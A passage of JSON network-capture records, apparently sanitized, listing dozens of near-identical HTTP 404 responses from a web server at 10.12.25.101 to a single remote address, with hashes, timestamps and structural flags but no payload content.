          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1572,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256082.406582000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1574",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-58950ef2746cb70407376f5d",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1575,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256082.672885000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1577",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-53b3d7bddf6ad681046e17d7",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1578,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256082.974564000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1580",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-1df665676b1a35a67b9668e8",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1581,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256083.873459000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1583",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-0303730ca8c07ba257efed0f",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1584,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256084.192858000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1586",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-b3d40e4a197737800f30bafb",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1587,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256084.537487000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1589",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-bf6df89dfda8d0af41fe33da",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1590,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256084.839947000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1592",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-96fb3ebb163b60708d2e8da2",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1593,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256085.217892000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1595",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-375d1ea9165345618f3f9f25",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1596,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256089.688933000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1598",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-3c03fa098890c3179355bed7",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1599,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256089.955479000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1601",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-2bca1ea73f1f37ded69e39aa",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1602,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256090.222728000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1604",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-1af4dd94f002bcd1165699a8",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1605,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256091.989487000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1607",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-ffe51804f6a4000a3dbf65fc",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1608,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256095.307057000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1610",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-2ffe4d32c0bee0d6d1c0be85",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1611,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256095.609790000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1613",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-0caa33dfdad7cf77dd89d1c9",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1614,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256096.218668000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1616",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-32f57339a1a8b1c8534c9009",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1618,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256097.440917000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1620",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-e8f3d62b9bc523af403d366a",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1621,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256097.780667000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1623",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-c7169b127be4b53295002325",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1624,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256098.611990000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1626",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-65bcfa574b2d6a9654d63049",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1627,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256102.501744000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1629",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-b4c5017c0c2c9a95160fe580",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1631,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256105.605177000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1643",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57615,
          "event_id": "evt-bb6d9fb8b005cd29ef0093a5",
          "src_port": 80,
          "tcp_stream": 54,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1645,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256121.995376000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1655",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-a50b3e5fba1b50214d9d630e",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1657,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256127.536717000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1659",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-41b9d6ab3524537ce7faa3dd",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1660,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256131.504631000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1662",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-ffba8468752ce727700dce33",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1663,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256131.976404000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1665",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-10666814d6efbef4235c96a6",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1666,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256132.243878000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1668",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-a3de008f1d4063e9cff7a802",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1669,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256133.204064000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1671",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-08e667e0d36cbec1e7d1ef9d",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1672,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256133.662720000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1674",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-3349f4d813508647ed81a4ee",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1676,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256136.077461000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1678",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-ec568d512875ac1b262c302f",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1679,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256136.344535000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1681",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-7978dc73270ce0d9bb53f95d",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1682,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256136.611868000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1684",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-211a8c6e1aae557a86d79856",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1685,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256136.879289000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1687",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-d6c8c6ae442a2c7155106455",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1688,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256137.146518000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1690",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-0a880be0a245d1e12522f960",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1691,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256137.414217000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1693",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-4c195542a07221f0e6ab32bc",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1694,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256138.281165000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1696",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-36f87ee0875cd52e7e3972d1",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1697,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256138.549173000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1699",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-a9fadabfd8cddc0826fbcab6",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1700,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256138.994705000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1702",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-e38c35c8c613e2e900947556",
          "src_port": 80,
